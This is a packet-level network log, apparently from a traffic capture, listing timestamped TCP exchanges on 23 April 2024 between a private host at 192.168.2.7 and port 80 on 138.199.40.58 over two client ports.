Apr 23, 2024 08:39:58.805605888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805648088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805720091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805732965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805740118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805752993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805800915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805814981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805823088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805852890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805866003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805871964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805915117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805928946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805933952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805952072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805973053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.805978060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805989981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.805995941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806001902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806029081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806049109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806051970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806065083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806068897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806133986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806174994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806178093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806178093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806240082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806339025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806360006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806436062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806515932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806528091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806556940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806557894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806571007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806577921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806592941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806612968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806673050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806745052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806765079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806822062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806880951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.806902885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.806919098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807002068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807015896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807028055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807039976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807048082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807058096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807069063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807076931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807080984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807086945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807104111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807148933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807172060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807195902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807215929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807220936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807234049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807290077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807302952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807310104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807316065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807322979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807410955 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807527065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807539940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807559967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807584047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807605028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807619095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807638884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807672977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807706118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807725906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807737112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807749987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807795048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807807922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807816029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807837963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807851076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807857037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807883978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807898998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.807971954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807985067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.807996035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808026075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808039904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808044910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808094025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808191061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808202982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808216095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808228016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808247089 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808263063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808275938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808284998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808295965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808315992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808326960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808350086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808370113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808392048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808403969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808556080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808579922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808701992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808725119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808748007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808760881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808828115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808849096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808871031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808890104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808921099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.808939934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.808959007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809031010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809043884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809051991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809073925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809092045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809170008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809226036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809247017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809271097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809320927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809340954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809372902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809398890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809418917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809468031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809480906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809545994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809568882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809592009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809601068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809645891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809670925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809683084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809685946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809726954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809741020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809793949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809815884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809885979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.809923887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.809993982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810005903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810018063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810024977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810030937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810072899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810106039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810132027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810175896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810189962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810194969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810257912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810277939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810277939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810297966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810318947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810332060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810343981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810350895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810367107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810389996 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810410976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810453892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810467958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810473919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810480118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810566902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810569048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810600042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810617924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810640097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810703039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810789108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810801029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810862064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810883045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.810904980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810928106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810960054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.810981989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811001062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811013937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811019897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811037064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811058044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811072111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811094046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811115026 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811136961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811184883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811206102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811218977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811230898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811249018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811271906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811285019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811291933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811306953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811320066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811326981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811458111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811470985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811477900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811566114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811578989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811590910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811592102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811602116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811614037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811620951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811625957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811645985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811647892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811666965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811670065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811702967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811741114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811754942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811822891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811829090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811897993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811928988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811940908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.811940908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811984062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.811988115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812391043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812422991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812436104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812458992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812460899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.812511921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812525034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812549114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.812561035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.812593937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812619925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812638044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.812659025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812681913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812700033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.812706947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812720060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812767029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.812767029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.812769890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812808037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.812841892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.812889099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813060045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813072920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813136101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813153982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813177109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813190937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813196898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813201904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813225031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813225031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813281059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813282013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813348055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813359976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813365936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813380957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813380957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813394070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813400030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813405991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813417912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813422918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813438892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813440084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813441038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813502073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813502073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813527107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813540936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813576937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813589096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813597918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813647985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813647985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813663960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813677073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813700914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813719034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813738108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813756943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813760042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813781023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813812971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813824892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813826084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813837051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813842058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813870907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813889027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813889027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813903093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.813924074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.813946962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814054012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814106941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814169884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814182997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814224005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814224005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814246893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814259052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814291954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814331055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814343929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814343929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814356089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814376116 CEST	49705	80	192.168.2.7	138.199.40.58
